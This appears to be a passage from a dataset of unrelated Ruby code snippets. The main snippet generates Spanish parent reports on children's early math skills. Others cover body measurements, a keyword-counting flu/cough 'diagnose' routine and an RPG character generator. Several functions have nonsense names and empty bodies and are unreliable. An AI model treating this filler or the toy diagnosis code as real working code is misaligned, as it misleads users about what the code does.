1 then\\n @i= \\\"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción. \\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \\n\\\"\\n\\nelsif @test.edad.between?(60, 71) && @test.pf_conv < 2 then\\n @i = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Darle al niño la oportunidad de que vea los números dibujados en libros bonitos, así aprenderán a leerlos. Estos libros deben ser ilustrados, agradables y apropiados para niños pequeños. También se le puede presentar juegos en los que el niño tenga que leer los dígitos para, por ejemplos, avanzar su posición. \\n\\n* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción. \\n\\\"\\n\\n\\n# 72 a 77 \\n\\nelsif @test.edad.between?(72, 77) && @test.pf_conv > 4 then\\n @i= \\\"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”. \\n\\n* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92. \\n\\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \\n\\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \\n\\\"\\n\\nelsif @test.edad.between?(72, 77) && @test.pf_conv.between?(3, 4) then\\n @i = \\\"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \\n\\\"\\n\\nelsif @test.edad.between?(72, 77) && @test.pf_conv < 3 then\\n @i = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Darle al niño la oportunidad de que vea los números dibujados en libros bonitos, así aprenderán a leerlos. Estos libros deben ser ilustrados, agradables y apropiados para niños pequeños. También se le puede presentar juegos en los que el niño tenga que leer los dígitos para, por ejemplos, avanzar su posición. \\n\\n* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción. \\n\\\"\\n\\n\\n# 78 a83\\n\\nelsif @test.edad.between?(78, 83) && @test.pf_conv > 5 then\\n @i= \\\"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”. \\n\\n* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92. \\n\\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \\n\\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \\n\\\"\\n\\nelsif @test.edad.between?(78, 83) && @test.pf_conv.between?(4, 5) then\\n @i = \\\"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \\n\\\"\\n\\nelsif @test.edad.between?(78, 83) && @test.pf_conv < 4 then\\n @i = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Darle al niño la oportunidad de que vea los números dibujados en libros bonitos, así aprenderán a leerlos. Estos libros deben ser ilustrados, agradables y apropiados para niños pequeños. También se le puede presentar juegos en los que el niño tenga que leer los dígitos para, por ejemplos, avanzar su posición. \\n\\n* Proporcionar al niño práctica en la escritura de números. El niño puede aprender a escribir los números copiándolos de un cuaderno y libro. El niño disfrutará copiándolos y luego decorándolos con colores y motivos alegres y variados. Solo necesitan la oportunidad de dedicarse libremente a dibujar y copiar, sin la necesidad de una instrucción. \\n\\\"\\n\\n\\n# 84 a 89\\n\\nelsif @test.edad.between?(84, 89) && @test.pf_conv > 7 then\\n @i= \\\"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \\n\\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \\n\\n* Una vez dominada la lectura y escritura de números con 3 dígitos, continuar con la lectura de números de 3 dígitos siguiente los métodos descritos anteriormente. Nuevamente el niño debe saber que la posición es crucial: los números que están a la derecha de todo son las unidades, los que indican las decenas están justo a su izquierda, los números que indican las centenas están a la izquierda de las decenas y, por último, los números que indican los millares son los que están más a la izquierda. \\n\\\"\\n\\nelsif @test.edad.between?(84, 89) && @test.pf_conv.between?(5, 7) then\\n @i = \\\"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”. \\n\\n* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92. \\n\\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \\n\\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \\n\\\"\\n\\nelsif @test.edad.between?(84, 89) && @test.pf_conv < 5 then\\n @i = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \\n\\\"\\n\\n\\n# 90 a 101\\n\\nelsif @test.edad.between?(90, 101) && @test.pf_conv > 5 then\\n @i= \\\"El/la estudiante ha adquirido las habilidades de lectura y escritura de cantidades de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 28, el 2 de la izquierda indica “veinte” y el 8 de la derecha indica “ocho”. \\n\\n* Pedirle al niño que con 2 dígitos construya el mayor número posible. Por ejemplo, dado el 2 y el 9, el niño puede escribir 29 o 92. \\n\\n* Una vez dominada la lectura y escritura de números con 2 dígitos, continuar con la lectura de números de 3 dígitos. El niño debe saber que la posición es crucial: los números que están a la derecha son las unidades, los que indican las decenas están al medio y los números que indican las centenas las que están a la izquierda. Así en 321, el 3 de la izquierda indica “trescientos”, el 2 del medio indica “veinte” y el 1 de la derecha indica “uno”. \\n\\n* Enseñar al niño con los errores que cometen otras personas. De esta manera, pueden ver que alguien escribe 200304 en lugar de 234 porque escriben los números como suenan. Normalmente resulta más fácil aprender del error cuando lo cometen otros. \\n\\\"\\n\\nelsif @test.edad.between?(90, 101) && @test.pf_conv < 6 then\\n @i = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de lectura y escritura de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Ofrecer al niño varios juegos que le proporcionen práctica con la lectura de números. Primero se le debe incentivar a que lean números de un dígito (por ejemplo, en un libro o cuaderno), pero una vez dominado esto se le debe enseñar las reglas para leer números de 2 dígitos. El niño debe saber que la posición es crucial: los números que indican las unidades están a la derecha, los números que indican las decenas están a su izquierda. Así, en 18, el 1 de la izquierda indica “diez” y el 8 de la derecha indica “ocho”. \\n\\\"\\n \\nend\\n\\n\\n\\n\\n# Hechos Numéricos\\n\\n# 60 a 89\\n\\nif @test.edad.between?(60, 89) then\\n @j= \\\"No se evalúa esta área para el rango de edad de su hijo/a.\\\"\\n\\n# 90 a 101\\n\\nelsif @test.edad.between?(90, 101) && @test.pf_hecho > 6 then\\n @j= \\\"El/la estudiante ha adquirido las habilidades de realizar operaciones sencillas (suma, resta y multiplicación) sin necesidad de realizar el cálculo por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* En el caso de las restas como 10 - 3, la mejor técnica de solución es la estrategia de contar hacia atrás, es decir, comenzar en 10 y contar hacia atrás 3. También se le puede presentar al niño actividades para que capte la relación complementaria entre la suma y la resta. Esto puede encontrarse en la tabla de restar. Por ejemplo, si el niño mira la columna que muestra todos los números restados de 10, verá que los resultados van incrementándose en uno, consiguiendo al final la secuencia numérica:\\no 10 - 10 = 0\\no 10 - 9 = 1\\no 10 - 8 = 2\\no 10 - 7 = 3\\no 10 - 6 = 4\\no 10 - 5 = 5, y así sucesivamente. \\n\\n* En el caso de las sumas como 8 + 5, la estrategia más común es seguir contando a partir del número mayor (8 + 5 son “ocho, nueve, diez… trece”) o el uso de varios trucos como llegar hasta 10 y después añadir lo que falta contando (“8 + 5 son trece, porque ocho y dos son diez, y después con los tres que quedan son trece”). \\n\\n* En el caso de las multiplicaciones como N x 1, el patrón es fácil de ver y lleva al niño a la conclusión de que al multiplicar un número por uno, el resultado es ese mismo número. Esta regla se aplica a todos los números. También es importante darle al niño juegos con material concreto del concepto de multiplicación. Por ejemplo, puede ser útil la analogía de que 3x1 es como tener 3 canicas en una bolsa. Hay en total 3 canicas. La multiplicación 3x2 es como tener dos bolsas de 3 canicas, en total son 6 canicas y así sucesivamente. \\n\\n* En el caso de las multiplicaciones como N x 0, se puede utilizar un juego muy sencillo. Se trata de que el niño no meta nada en una bolsa, por ejemplo un gato de juguete, después debe mirar dentro de ella y asegurarse de que no hay ningún gato. Pedirle, a continuación, que haga lo mismo con otra bolsa y con otra: así se le da la oportunidad de ver, concretamente, que N x 0 es igual a 0. \\n\\n* En el caso de las multiplicaciones como 3 x 2, el niño puede descubrir el patrón: 3 x 2 es lo mismo que 3 + 3. Puede aprender que “multiplicar por dos” es lo mismo que sumar el mismo número dos veces o calcular el doble. Esta regla se aplica a todos los números. \\n\\\"\\n\\nelsif @test.edad.between?(90, 101) && @test.pf_hecho.between?(4, 6) then\\n @j = \\\"El/la estudiante ha adquirido las habilidades de realizar operaciones sencillas (suma, resta y multiplicación) sin necesidad de realizar el cálculo de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* En el caso de las sumas, como 3 + 4, la mejor estrategia de pensamiento es simplemente “seguir contando” desde el número mayor (“cuatro, cinco, seis y siete”). Este método les proporciona una estrategia útil para resolver problemas de suma cuando no recuerden los hechos numéricos correspondientes. Animar al niño a no adivinar las sumas en el caso de que no las sepan de memoria, sino animarlo a seguir contando. \\n\\n* En el caso de las multiplicaciones, como N x 1, el patrón es fácil de ver y lleva al niño a la conclusión de que al multiplicar un número por uno, el resultado es ese mismo número. Esta regla se aplica a todos los números. También es importante darle al niño juegos con material concreto del concepto de multiplicación. Por ejemplo, puede ser útil la analogía de que 3x1 es como tener 3 canicas en una bolsa. Hay en total 3 canicas. La multiplicación 3x2 es como tener dos bolsas de 3 canicas, en total son 6 canicas y así sucesivamente. \\n\\n* En el caso de las multiplicaciones como N x 0, se puede utilizar un juego muy sencillo. Se trata de que el niño no meta nada en una bolsa, por ejemplo un gato de juguete, después debe mirar dentro de ella y asegurarse de que no hay ningún gato. Pedirle, a continuación, que haga lo mismo con otra bolsa y con otra: así se le da la oportunidad de ver, concretamente, que N x 0 es igual a 0. \\n\\n* En el caso de las restas del tipo 2N - N, el patrón lleva a la conclusión de que la respuesta es la misma que el número que has quitado. Esta regla, después, se aplica a muchos números: aquellos en que la cantidad que se quita (el sustraendo) es la mitad de la cantidad de partida (minuendo), por ejemplo 6 - 3, 10 - 5, etc. También se le puede enseñar un juego con material concreto, utilizando objetos y una bolsa de plástico. Así, se introduce un número par de objetos en una bolsa, que previamente se ha dividido en dos partes (con una cinta adhesiva de un color, por ejemplo). Al niño se le muestra que el total se forma sumando las dos partes iguales. Además, se puede insistir en la relación inversa: si al total le quitamos una de las partes, nos queda la otra. También se le puede plantear ejercicios del tipo: \\no 2 - 1 = 1 \\no 4 - 2 = 2\\no 6 - 3 = 3 \\no 8 - 4 = 4\\no ¿Cuál es el siguiente?\\n\\\"\\n\\nelsif @test.edad.between?(90, 101) && @test.pf_hecho < 4 then\\n @j = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades de realizar operaciones sencillas (suma, resta y multiplicación) sin necesidad de realizar el cálculo de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n* Enseñar al niño que en hechos numéricos como 2 - 2 (dos menos dos), se puede observar que si se resta un número de sí mismo el resultado es “cero”. El patrón es fácil y esta regla se aplica a todos los números. \\n\\n* En el caso de las sumas, como 3 + 4, la mejor estrategia de pensamiento es simplemente “seguir contando” desde el número mayor (“cuatro, cinco, seis y siete”). Este método les proporciona una estrategia útil para resolver problemas de suma cuando no recuerden los hechos numéricos correspondientes. Animar al niño a no adivinar las sumas en el caso de que no las sepan de memoria, sino animarlo a seguir contando. \\n\\\"\\n \\nend\\n\\n\\n\\n# Cálculo FORMAL \\n\\n# 60 a 89\\n\\nif @test.edad.between?(60, 89) then\\n @k= \\\"No se evalúa esta área para el rango de edad de su hijo/a.\\\"\\n\\n\\n# 90 a 95\\n\\nelsif @test.edad.between?(90, 95) && @test.pi_comp > 5 then\\n @k= \\\"El/la estudiante ha adquirido las habilidades de cálculo formal por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Ofrecer diferentes experiencias con el sistema decimal, puede hacer uso también de material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.\\n\\n* Si el niño presenta dificultades con el algoritmo de la resta escrita con “llevadas” es importante trabajar con materiales concretos (como el material multibase o regletas de Cuissinaire) con el fin de desarrollar una comprensión básica del método estándar. \\n\\n* Inventar problemas retadores con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\\n\\\"\\n\\nelsif @test.edad.between?(90, 95) && @test.pi_comp.between?(2, 5) then\\n @k = \\\"El/la estudiante ha adquirido las habilidades de cálculo formal de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.\\n\\n* Fomentar la comprensión del método, y no solo abordar de forma mecánica la resolución de la cuenta con la simple aplicación del algoritmo. Preguntar al niño cómo está realizando sus operaciones y por qué lo hace de esa forma.\\n\\n* Ofrecer diferentes experiencias con el sistema decimal mediante el trabajo con material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.\\n\\n* Inventar problemas con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\\n\\\"\\n\\nelsif @test.edad.between?(90, 95) && @test.pi_comp < 2 then\\n @k = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades cálculo formal de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.\\n\\n* Emplear juegos con material concreto para enseñar la suma y resta de 10 desde una decena. Se pueden usar cubitos (o palitos) unidos para formar las decenas y luego sumar o restar decenas con estos materiales.\\n\\n* Inventar problemas sencillos con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\\n\\\"\\n\\n\\n# 96 a 101\\n\\nelsif @test.edad.between?(96, 101) && @test.pi_comp > 7 then\\n @k= \\\"El/la estudiante ha adquirido las habilidades de cálculo formal por encima de lo esperado para la edad que posee.\\nAlgunas recomendaciones para practicar lo aprendido y/o generar nuevos aprendizajes:\\n\\n\\n* Ofrecer diferentes experiencias con el sistema decimal, puede hacer uso también de material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.\\n\\n* Si el niño presenta dificultades con el algoritmo de la resta escrita con “llevadas” es importante trabajar con materiales concretos (como el material multibase o regletas de Cuissinaire) con el fin de desarrollar una comprensión básica del método estándar. \\n\\n* Inventar problemas retadores con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\\n\\\"\\n\\nelsif @test.edad.between?(96, 101) && @test.pi_comp.between?(5, 7) then\\n @k = \\\"El/la estudiante ha adquirido las habilidades de cálculo formal de acuerdo a lo esperado para su edad.\\nAlgunas recomendaciones para mejorar lo aprendido:\\n\\n\\n* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.\\n\\n* Fomentar la comprensión del método, y no solo abordar de forma mecánica la resolución de la cuenta con la simple aplicación del algoritmo. Preguntar al niño cómo está realizando sus operaciones y por qué lo hace de esa forma.\\n\\n* Ofrecer diferentes experiencias con el sistema decimal mediante el trabajo con material concreto. Recordar que el sistema decimal es básico en la aritmética elemental pues es la base de la escritura de los números.\\n\\n* Inventar problemas con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\\n\\\"\\n\\nelsif @test.edad.between?(96, 101) && @test.pi_comp < 5 then\\n @k = \\\"El/la estudiante se encuentra en proceso de adquirir las habilidades cálculo formal de acuerdo a lo esperado para la edad que posee.\\nAlgunas recomendaciones para apoyar al estudiante:\\n\\n\\n* Fomentar la comprensión del valor posicional, el estudiante necesita aprender por qué los números han de ser alineados, para operar desde la derecha. Es recomendable enseñar el algoritmo estándar mediante actividades manipulativas.\\n\\n* Emplear juegos con material concreto para enseñar la suma y resta de 10 desde una decena. Se pueden usar cubitos (o palitos) unidos para formar las decenas y luego sumar o restar decenas con estos materiales.\\n\\n* Inventar problemas sencillos con los niños de tal manera que se necesite hacer cálculos de suma o resta de forma escrita para resolverlos.\\n\\\"\\n \\nend\\n \\n end\",\n \"def bicipital\\n\\t\\t(@bicipital[0] + @bicipital[1] + @bicipital[2])/3\\n\\tend\",\n \"def gastriloquism_quinnipiac_apodictical()\\n end\",\n \"def suivre; end\",\n \"def celebration; end\",\n \"def tricipital \\n\\t\\t(@tricipital[0] + @tricipital[1] + @tricipital[2])/3\\n\\tend\",\n \"def diagnose(text)\\n # Tag important words from a sentence to start the diagnosis.\\n tag = EngTagger.new\\n diagnosis = tag.get_words(text).keys\\n extracted = diagnosis\\n diagnosis.each { |d| diagnosis = d.split(' ').uniq.join(' ') if d.include?(' ') }\\n diagnosis = { 'diagnosis' => diagnosis, 'keywords' => extracted }\\n\\n # Diagnose illness by counting relevant keywords in the FLU and COUGH datasets.\\n FLU['symptoms'].map do |f|\\n FLU['score'] += 1 if diagnosis['keywords'].include?(f)\\n end\\n\\n COUGH['symptoms'].map do |c|\\n COUGH['score'] += 1 if diagnosis['keywords'].include?(c)\\n end\\n\\n # Calculate condition probability.\\n fluprob = FLU['score'].to_f / FLU['symptoms'].length.to_f\\n coughprob = COUGH['score'].to_f / COUGH['symptoms'].length.to_f\\n probabilities = { 'the flu' => fluprob, 'a cough' => coughprob }\\n likely = probabilities.max_by { |_k, v| v }\\n @value += likely[1]\\n data = { 'the flu' => FLU, 'a cough' => COUGH }\\n\\n { 'likely_condition' => likely[0], 'likelyhood' => likely[1], 'condition_data' => data[likely[0]] }\\n end\",\n \"def gunfire_nominee(peridiastolic_proctor, scabland_shakenly, hypoalimentation_ensweep)\\n petricola_foraminifer(henry_speculatrix, underwrite)\\n laconic_cagayan_swarty(semitaur_documentize, papilionaceous)\\n end\",\n \"def porc_grasa\\n\\t\\t(1.2 * self.indice_masa_corporal + 0.23 * edad - 10.8 * sexo - 5.4).round(1)\\n\\tend\",\n \"def phase_one\\n 8.times do\\n @borneo.immunity_challenge.tribal_council()\\n puts\\n end\\nend\",\n \"def caste_based_details(caste)\\n case caste\\n when \\\"Slave, Labor\\\"\\n\\n @@endurance += d(10)\\n @@strength += d(10)\\n @@intelligence = [@@intelligence - d(10), 1].max\\n @@perception = [@@perception - d(6), 1].max\\n @@outfittingcode = \\\"Escaped Prisoner\\\"\\n puts \\\"+d10 to Endurance and Strength; -d10 to Intelligence, -d6 to Perception.\\\"\\n bounty_chance(32,(20 + (d(6) + d(6) + d(6))))\\n\\n\\n when \\\"Slave, Kitchen\\\"\\n\\n @@endurance = [@@endurance - d(6), 1].max\\n @@strength = [@@strength - d(6), 1].max\\n @@intelligence += d(6)\\n @@willpower = [@@willpower - d(12), 1].max\\n @@outfittingcode = \\\"Escaped Prisoner\\\"\\n bounty_chance(27,(20 + (d(6) + d(6) + d(6))))\\n\\n when \\\"Slave, Servant\\\"\\n\\n @@endurance = [@@endurance - d(6), 1].max\\n @@strength = [@@strength - d(6), 1].max\\n @@intelligence += d(6)\\n @@perception += d(6)\\n @@willpower = [@@willpower - d(6), 1].max\\n @@outfittingcode = \\\"Escaped Prisoner\\\"\\n @@misc_skill_rolls += 1\\n bounty_chance(76,(100 + (d(6) + d(6) + d(6))))\\n @@literacy = \\\"Literate\\\"\\n\\n when \\\"Slave, Whore\\\"\\n\\n @@endurance = [@@endurance - d(6), 1].max\\n @@strength = [@@strength - d(6), 1].max\\n @@intelligence = [@@intelligence - d(6), 1].max\\n @@willpower = [@@willpower - d(6), 1].max\\n @@appearance += d(6)\\n @@outfittingcode = \\\"Escaped Prisoner\\\"\\n @@skills << \\\"Erotic Arts\\\"\\n bounty_chance(82,(100 + (d(4) * 25)))\\n\\n when \\\"Slave, Court\\\"\\n\\n @@endurance = [@@endurance - d(6), 1].max\\n @@strength = [@@strength - d(6), 1].max\\n @@intelligence = [@@intelligence - d(6), 1].max\\n @@perception += d(6)\\n @@willpower = [@@willpower - d(6), 1].max\\n @@appearance += d(6)\\n @@outfittingcode = \\\"Escaped Prisoner\\\"\\n @@misc_skill_rolls += d(3)\\n bounty_chance(87,(100 + (d(4) * 25)))\\n @@literacy = \\\"Literate\\\" # assumption\\n @@number_of_languages += d(4)\\n @@character_notes << \\\"Has a fairly accurate knowledge of the political and geographic layout of the region.\\\"\\n\\n\\n when \\\"Slave, Gladiator\\\"\\n\\n @@endurance += (d(10) + d(10))\\n @@strength += (d(10) + d(10))\\n @@agility += d(8)\\n @@accuracy += d(8)\\n @@intelligence = [@@intelligence - d(10), 1].max\\n @@perception += d(8)\\n @@willpower = [@@willpower - d(4), 1].max\\n @@appearance = [@@appearance - (d(8) + d(8)), 1].max\\n @@outfittingcode = \\\"Escaped Prisoner\\\"\\n d(3).times do\\n @@skills << \\\"Brawling\\\"\\n end\\n @@warrior_skill_rolls += (4+(rand(1..4)))\\n bounty_chance(94,(200 + (d(100) + d(100))))\\n literacy_chance(2,0)\\n\\n\\n when \\\"Fisher\\\"\\n\\n @@endurance += d(6)\\n @@strength += d(6)\\n @@perception += d(8)\\n @@outfittingcode = \\\"Poor\\\"\\n d(3).times do\\n @@skills << \\\"Spear Weapons\\\"\\n end\\n @@misc_skill_rolls += 1\\n @@equipment << \\\"collapsible wooden fishing rod with reel\\\";\\\"30m of fshing line\\\";\\\"fishing hooks and lures\\\";\\n \\\"small fshing net\\\";\\\"fishing spear/harpoon\\\"\\n literacy_chance(6,0)\\n\\n when \\\"Hunter\\\"\\n\\n @@endurance += d(8)\\n @@strength += d(8)\\n @@agility += d(6)\\n @@accuracy += d(6)\\n @@perception += d(8)\\n @@outfittingcode = \\\"Poor\\\"\\n d(3).times do\\n @@skills << \\\"Weapons Expert: Bow\\\"\\n end\\n @@skills << \\\"Wilderness Survival\\\"\\n @@misc_skill_rolls += 1\\n @@character_notes << \\\"Accustomed to being outdoors, knows most animals by their tracks, and can start a fre with mere sticks, knows how to conceal the fre at night, make simple shelters, snares and deadfall traps.\\\"\\n\\n when \\\"Miner\\\"\\n\\n @@endurance += d(10)\\n @@strength += (d(10) + (rand(1..10)))\\n @@appearance = [@@appearance - d(6), 1].max\\n @@outfittingcode = \\\"Poor\\\"\\n d(3).times do\\n @@skills << \\\"Weapons Expert: Pickaxe\\\"\\n end\\n @@misc_skill_rolls += 1\\n @@equipment << \\\"shovel\\\"; \\\"pickaxe\\\"; \\\"#{d(20) + d(20) + d(20)} m rope\\\"; \\\"lantern and oil\\\"\\n literacy_chance(5,0)\\n\\n when \\\"Logger\\\"\\n\\n @@endurance += d(8)\\n @@strength += d(8)\\n @@agility += d(6)\\n @@perception += d(6)\\n @@appearance = [@@appearance - d(3), 1].max\\n @@outfittingcode = \\\"Poor\\\"\\n d(3).times do\\n @@skills << \\\"Weapons 